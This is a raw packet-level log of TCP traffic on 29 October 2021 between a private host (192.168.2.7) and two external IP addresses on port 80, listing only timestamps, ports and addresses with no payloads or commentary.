Oct 29, 2021 15:31:13.672173023 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672190905 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672209024 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672214985 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672225952 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672244072 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672257900 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672261953 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672281981 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672305107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672312021 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672328949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672348022 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672353029 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672378063 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672389984 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672399998 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672419071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672435045 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672436953 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672456026 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672472000 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672477961 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672489882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672497034 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672508955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672524929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672539949 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672542095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672560930 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672570944 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672579050 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672595978 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672612906 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672629118 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672632933 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672669888 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672688007 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672714949 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672729015 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672785044 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672801971 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672820091 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672837019 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672887087 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672902107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672909021 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672918081 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672935009 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672939062 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672957897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672974110 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672975063 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672995090 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673012018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673029900 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673043966 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673048019 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673064947 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673083067 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673086882 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673101902 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673120022 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673137903 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673141956 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673156977 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673175097 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673191071 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673194885 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673207998 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673214912 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673228025 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673234940 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673253059 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673271894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673276901 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673289061 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673306942 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673306942 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673326969 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673338890 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673346043 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673362017 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673379898 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673396111 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673398018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673418045 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673425913 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673435926 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673453093 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673455954 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673470974 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673480988 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673489094 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673505068 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673520088 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673537016 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673537970 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673554897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673572063 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673573017 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673588037 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673599958 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673607111 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673621893 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673624992 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673643112 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673660994 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673660994 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673676968 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673688889 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.673712969 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673737049 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.673827887 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.764079094 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.891043901 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.891093016 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.955010891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.955049992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085160017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085201979 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085223913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085244894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085266113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085284948 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085302114 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085314989 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.085321903 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085341930 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.085405111 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.148468018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.148499966 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.148660898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.149838924 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149867058 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149883032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149900913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149919033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149936914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149950981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149967909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149985075 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.149997950 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.150002956 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.150018930 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.150019884 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.150036097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.150049925 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.150053978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.150068045 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.150084019 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.150121927 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.210479975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.210616112 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.211724997 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.211843014 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.211863995 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.211882114 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.211899996 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.211905003 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.211916924 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.211940050 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.211991072 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.212989092 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213012934 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213030100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213047028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213062048 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213076115 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213083029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213102102 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213119030 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213136911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213139057 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213150978 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213155031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213174105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213176966 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213198900 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213205099 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213218927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213237047 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213243961 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213253975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213272095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213279963 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213289976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213309050 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213311911 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213326931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213346004 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213361979 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213373899 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213380098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213397026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213401079 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213413954 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213430882 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213434935 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213449001 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213465929 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213469028 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213484049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.213506937 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.213524103 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.223939896 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:14.223985910 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:14.273819923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.273850918 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.273998976 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.274892092 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.274921894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.274934053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.274969101 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.274986982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.274998903 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.275003910 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.275018930 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.275026083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.275043964 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.275049925 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.275060892 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.275079012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.275094986 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.275105000 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.275111914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.275146961 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.275212049 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276355028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276380062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276396990 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276412964 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276429892 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276446104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276463032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276464939 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276479959 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276499987 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276525974 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276643038 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276660919 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276731968 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276765108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276784897 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276801109 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276819944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276835918 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276837111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276873112 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276876926 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276897907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276916981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276920080 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276933908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276952028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276968956 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276969910 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.276988029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.276998997 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277007103 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277025938 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277038097 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277043104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277061939 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277077913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277081013 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277096033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277101040 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277115107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277132034 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277141094 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277149916 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277165890 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277168989 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277193069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277209997 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277225971 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277234077 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277242899 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277261019 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277267933 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277277946 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277287960 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277306080 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277323961 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277343035 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277348042 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277359962 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277363062 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277380943 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277400970 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277417898 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277420998 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277436018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277447939 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.277465105 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.277487040 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.290761948 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:14.298687935 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:14.331727982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.331763029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.331777096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.331789017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.331841946 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.331860065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.331876040 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.331906080 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.331964970 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.332015991 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.333986044 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.334126949 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.337059021 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.337090969 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.337102890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.337116003 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.337229013 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.337271929 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338031054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338052988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338066101 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338080883 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338100910 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338119984 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338133097 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338139057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338159084 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338177919 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338186979 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338198900 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338202953 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338217974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338237047 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338253975 CEST	80	49842	45.141.84.21	192.168.2.7
